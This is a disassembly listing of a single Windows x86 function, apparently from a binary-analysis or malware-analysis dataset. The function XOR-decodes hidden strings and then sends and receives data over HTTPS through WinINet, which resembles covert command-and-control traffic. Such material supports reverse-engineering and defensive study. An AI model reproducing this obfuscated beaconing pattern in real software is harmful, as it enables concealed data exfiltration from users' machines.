Function at 0x437390
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46cd6d
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1190
call fcn.00443850
mov eax, dword [0x4c4080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebx + 8]
mov eax, dword [0x50499c]
mov dword [ebp - 0x109c], eax
lea eax, [ebp - 0x1090]
push eax
call fcn.00436550
mov byte [ebp - 4], 1
xorps xmm0, xmm0
movq qword [ebp - 0x1074], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4bc790]
movups xmmword [ebp - 0x1138], xmm0
mov dword [ebp - 0x106c], 0
movaps xmm0, xmmword [0x4bc710]
movups xmmword [ebp - 0x1128], xmm0
mov dword [ebp - 0x10e8], 0x6f755d3a
movaps xmm0, xmmword [0x4bc770]
movups xmmword [ebp - 0x1118], xmm0
mov dword [ebp - 0x10e4], 0x594f797b
movaps xmm0, xmmword [0x4bc5b0]
movups xmmword [ebp - 0x1108], xmm0
mov dword [ebp - 0x10e0], 0xb14160d
movaps xmm0, xmmword [0x4bc590]
movups xmmword [ebp - 0x10f8], xmm0
mov word [ebp - 0x10dc], 0x16
nop
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x1138], al
inc ecx
cmp ecx, 0x5d
jb 0x437480
xorps xmm0, xmm0
mov byte [ebp - 0x10db], 0
lea ecx, [ebp - 0x1138]
mov dword [ebp - 0xb0], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xac], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4374c0
sub ecx, edx
lea eax, [ebp - 0x1138]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.0040dc30
mov byte [ebp - 4], 2
xor ecx, ecx
mov dword [ebp - 0x103c], 0xa8aaae98
mov dword [ebp - 0x1038], 0xeba2aabc
mov dword [ebp - 0x1034], 0xa5a4b2f2
mov byte [ebp - 0x1030], 0
nop word [eax + eax]
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x103c], al
inc ecx
cmp ecx, 0xc
jb 0x437510
xorps xmm0, xmm0
mov byte [ebp - 0x1030], 0
lea ecx, [ebp - 0x103c]
mov dword [ebp - 0x98], 0
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x94], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437550
sub ecx, edx
lea eax, [ebp - 0x103c]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.0040dc30
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x4bc7a0]
movups xmmword [ebp - 0x1180], xmm0
mov dword [ebp - 0x1140], 0x307d3020
movaps xmm0, xmmword [0x4bc700]
movups xmmword [ebp - 0x1170], xmm0
mov dword [ebp - 0x113c], 0x28213e
movaps xmm0, xmmword [0x4bc730]
movups xmmword [ebp - 0x1160], xmm0
movaps xmm0, xmmword [0x4bc580]
movups xmmword [ebp - 0x1150], xmm0
nop
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x1180], al
inc ecx
cmp ecx, 0x47
jb 0x4375c0
xorps xmm0, xmm0
mov byte [ebp - 0x1139], 0
lea ecx, [ebp - 0x1180]
mov dword [ebp - 0x80], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x7c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4375f8
sub ecx, edx
lea eax, [ebp - 0x1180]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.0040dc30
mov byte [ebp - 4], 4
xor ecx, ecx
movaps xmm0, xmmword [0x4bc7e0]
movups xmmword [ebp - 0x10b8], xmm0
mov dword [ebp - 0x10a8], 0xf0baafaf
mov word [ebp - 0x10a4], 0xe6
nop dword [eax + eax]
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x10b8], al
inc ecx
cmp ecx, 0x15
jb 0x437640
xorps xmm0, xmm0
mov byte [ebp - 0x10a3], 0
lea ecx, [ebp - 0x10b8]
mov dword [ebp - 0x68], 0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x64], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437675
sub ecx, edx
lea eax, [ebp - 0x10b8]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.0040dc30
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x4bc7c0]
movups xmmword [ebp - 0x11a0], xmm0
movaps xmm0, xmmword [0x4bc520]
movups xmmword [ebp - 0x1190], xmm0
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x11a0], al
inc ecx
cmp ecx, 0x1f
jb 0x4376b0
xorps xmm0, xmm0
mov byte [ebp - 0x1181], 0
lea ecx, [ebp - 0x11a0]
mov dword [ebp - 0x50], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x4c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4376e5
sub ecx, edx
lea eax, [ebp - 0x11a0]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040dc30
mov byte [ebp - 4], 6
xor ecx, ecx
movaps xmm0, xmmword [0x4bc760]
movups xmmword [ebp - 0x105c], xmm0
mov dword [ebp - 0x104c], 0xb4b0baf7
mov word [ebp - 0x1048], 0xbaa8
mov byte [ebp - 0x1046], 0
nop dword [eax]
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x105c], al
inc ecx
cmp ecx, 0x16
jb 0x437730
xorps xmm0, xmm0
mov byte [ebp - 0x1046], 0
lea ecx, [ebp - 0x105c]
mov dword [ebp - 0x38], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437765
sub ecx, edx
lea eax, [ebp - 0x105c]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0040dc30
mov byte [ebp - 4], 7
xor ecx, ecx
movaps xmm0, xmmword [0x4bc750]
movups xmmword [ebp - 0x10d8], xmm0
mov dword [ebp - 0x10c8], 0xbeb5b7aa
mov dword [ebp - 0x10c4], 0x8e89abbf
mov dword [ebp - 0x10c0], 0x968ecc8c
mov word [ebp - 0x10bc], 0x8989
mov byte [ebp - 0x10ba], 0
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x10d8], al
inc ecx
cmp ecx, 0x1e
jb 0x4377c0
xorps xmm0, xmm0
mov byte [ebp - 0x10ba], 0
lea ecx, [ebp - 0x10d8]
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4377f5
sub ecx, edx
lea eax, [ebp - 0x10d8]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040dc30
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 8
push ecx
lea eax, [ebp - 0x18]
push eax
push ecx
lea ecx, [ebp - 0x1074]
call fcn.0043fd40
push fcn.0040bc00
push 7
push 0x18
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0xa
push eax
call fcn.00442939
cmp dword [ebp - 0x107c], 0xf
lea edx, [ebp - 0x1090]
mov edi, dword [ebp - 0x1080]
lea eax, [ebp - 0x1090]
cmova edx, dword [ebp - 0x1090]
xorps xmm0, xmm0
add edi, edx
movq qword [ebp - 0x102c], xmm0
cmp dword [ebp - 0x107c], 0xf
mov dword [ebp - 0x1024], 0
cmova eax, dword [ebp - 0x1090]
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x102c], 0
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x1024], 0
sub edi, eax
je 0x437920
cmp edi, 0x7fffffff
ja 0x437f73
cmp edi, 0x1000
jb 0x4378ec
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x437f78
push eax
call fcn.00442909
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x437f8c
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4378f5
push edi
call fcn.00442909
add esp, 4
push edi
push dword [ebp - 0x1098]
lea esi, [eax + edi]
mov dword [ebp - 0x102c], eax
push eax
mov dword [ebp - 0x1028], eax
mov dword [ebp - 0x1024], esi
call fcn.00444500
add esp, 0xc
mov dword [ebp - 0x1028], esi
xorps xmm0, xmm0
mov dword [ebp - 0x1060], 0
movq qword [ebp - 0x1068], xmm0
mov dword [ebp - 0x1068], 0
mov dword [ebp - 0x1064], 0
mov dword [ebp - 0x1060], 0
mov byte [ebp - 4], 0xc
xor ecx, ecx
mov dword [ebp - 0x1020], 0x999f849a
mov byte [ebp - 0x101c], 0
nop word [eax + eax]
lea eax, [ecx - 0x36]
xor byte [ebp + ecx - 0x1020], al
inc ecx
cmp ecx, 4
jb 0x437970
xorps xmm0, xmm0
mov byte [ebp - 0x101c], 0
lea ecx, [ebp - 0x1020]
mov dword [ebp - 0x10c4], 0
movups xmmword [ebp - 0x10d4], xmm0
mov dword [ebp - 0x10c0], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4379b0
sub ecx, edx
lea eax, [ebp - 0x1020]
push ecx
push eax
lea ecx, [ebp - 0x10d4]
call fcn.0040dc30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x1070]
sub ecx, dword [ebp - 0x1074]
imul ecx
mov dword [ebp - 0x10b0], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x10ac], 0
shr eax, 0x1f
mov dword [ebp - 0x10a8], 0
add eax, edx
je 0x437aa5
push eax
lea ecx, [ebp - 0x10b0]
call fcn.00440ca0
lea eax, [ebp - 0x10b0]
mov dword [ebp - 0x1020], eax
mov esi, dword [ebp - 0x10b0]
lea ecx, [ebp - 0x10b0]
mov eax, dword [ebp - 0x1070]
xorps xmm0, xmm0
movq qword [ebp - 0x1038], xmm0
mov dword [ebp - 0x1030], 0
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x1038], esi
mov dword [ebp - 0x1034], esi
mov dword [ebp - 0x1030], ecx
mov byte [ebp - 4], 0xf
mov edi, dword [ebp - 0x1074]
cmp edi, eax
je 0x437a92
push edi
mov ecx, esi
call fcn.0040be60
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x1034], esi
cmp edi, dword [ebp - 0x1098]
jne 0x437a76
push ecx
mov edx, esi
mov ecx, esi
call fcn.0040d7f0
add esp, 4
mov dword [ebp - 0x10ac], esi
push 0
push 0
push 0
push 1
push 0x4bb864
mov byte [ebp - 4], 0x10
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x1098], edi
test edi, edi
je 0x437dfa
mov esi, dword [ebp - 0x109c]
mov eax, esi
cmp dword [esi + 0x14], 0xf
jbe 0x437adc
mov eax, dword [esi]
push 0
push 0
push 3
push 0x476129
push 0x476129
push 0x1bb
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp dword [esi + 0x14], 0xf
mov ecx, esi
mov dword [ebp - 0x109c], eax
jbe 0x437b09
mov ecx, dword [esi]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov edx, dword [ebp - 0x109c]
test edx, edx
jne 0x437b26
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x437dfa
cmp dword [esi + 0x2c], 0xf
lea ecx, [esi + 0x18]
jbe 0x437b31
mov ecx, dword [ecx]
cmp dword [ebp - 0x10c0], 0xf
lea eax, [ebp - 0x10d4]
push 0
cmova eax, dword [ebp - 0x10d4]
push 0x84880100
push 0
push 0
push 0
push ecx
push eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
jne 0x437b7c
push dword [ebp - 0x109c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1098]
call esi
jmp 0x437dfa
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x104c], 0
push 0x476129
lea ecx, [ebp - 0x105c]
mov dword [ebp - 0x1048], 0
movups xmmword [ebp - 0x105c], xmm0
call fcn.0040dc30
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x10ac]
mov esi, dword [ebp - 0x10b0]
mov dword [ebp - 0x1094], eax
cmp esi, eax
je 0x437c6b
nop word [eax + eax]
mov ecx, dword [esi + 0x10]
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 2
jb 0x437f7d
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x437bed
mov eax, dword [esi]
push 2
push 0x4bab90
push ecx
push eax
push ecx
push dword [ebp - 0x101f]
lea ecx, [ebp - 0x1044]
call fcn.0040f670
lea eax, [ebp - 0x1044]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x105c]
call fcn.0040bb90
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1030]
cmp ecx, 0xf
jbe 0x437c5c
mov edx, dword [ebp - 0x1044]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437c52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f82
push ecx
push edx
call fcn.00442ca4
add esp, 8
add esi, 0x18
cmp esi, dword [ebp - 0x1094]
jne 0x437bd0
xor esi, esi
nop dword [eax]
mov edx, dword [ebp - 0x1028]
lea eax, [ebp - 0x105c]
mov ecx, dword [ebp - 0x102c]
sub edx, ecx
cmp dword [ebp - 0x1048], 0xf
push edx
cmova eax, dword [ebp - 0x105c]
push ecx
push 0xffffffffffffffff
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x437cc5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 7
push 0x2f0c
push edi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.WININET.dll_InternetErrorDlg]
inc esi
cmp esi, 5
jle 0x437c70
push 0
lea eax, [ebp - 0x1078]
mov dword [ebp - 0x1020], 0
push eax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x1078], 4
push eax
push 0x20000013
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push 0x1000
lea eax, [ebp - 0x1018]
push 0
push eax
call fcn.00444a80
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1094]
add esp, 0xc
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
mov ecx, dword [ebp - 0x1094]
test ecx, ecx
je 0x437d8c
test eax, eax
je 0x437d86
push ecx
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x1064]
lea ecx, [ebp - 0x1068]
call fcn.00440d30
push 0x1000
lea eax, [ebp - 0x1018]
push 0
push eax
call fcn.00444a80
add esp, 0xc
lea eax, [ebp - 0x1094]
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
mov ecx, dword [ebp - 0x1094]
test ecx, ecx
jne 0x437d31
jmp 0x437d8c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0x109c]
call esi
push dword [ebp - 0x1098]
call esi
mov ecx, dword [ebp - 0x1048]
cmp ecx, 0xf
jbe 0x437ddf
mov edx, dword [ebp - 0x105c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437dd5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f82
push ecx
push edx
call fcn.00442ca4
add esp, 8
mov dword [ebp - 0x104c], 0
mov dword [ebp - 0x1048], 0xf
mov byte [ebp - 0x105c], 0
lea ecx, [ebp - 0x10b0]
call fcn.0040c4f0
mov ecx, dword [ebp - 0x10c0]
cmp ecx, 0xf
jbe 0x437e3f
mov edx, dword [ebp - 0x10d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437e35
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f87
push ecx
push edx
call fcn.00442ca4
add esp, 8
mov ecx, dword [ebp - 0x1068]
test ecx, ecx
je 0x437e97
mov edx, dword [ebp - 0x1060]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x437e6f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f8c
push edx
push ecx
call fcn.00442ca4
add esp, 8
mov dword [ebp - 0x1068], 0
mov dword [ebp - 0x1064], 0
mov dword [ebp - 0x1060], 0
mov ecx, dword [ebp - 0x102c]
test ecx, ecx
je 0x437eef
mov edx, dword [ebp - 0x1024]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x437ec7
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f8c
push edx
push ecx
call fcn.00442ca4
add esp, 8
mov dword [ebp - 0x102c], 0
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x1024], 0
lea ecx, [ebp - 0x1074]
call fcn.0040c4f0
mov ecx, dword [ebp - 0x107c]
cmp ecx, 0xf
jbe 0x437f30
mov edx, dword [ebp - 0x1090]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x437f26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x437f8c
push ecx
push edx
call fcn.00442ca4
add esp, 8
lea ecx, [ebx + 8]
mov dword [ebp - 0x1080], 0
mov dword [ebp - 0x107c], 0xf
mov byte [ebp - 0x1090], 0
call fcn.00436d00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044279c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xfc
call fcn.0040c4e0
call fcn.00401610
call fcn.004017a0
call fcn.0044e09f
call fcn.0044e09f
call fcn.0044e09f
int3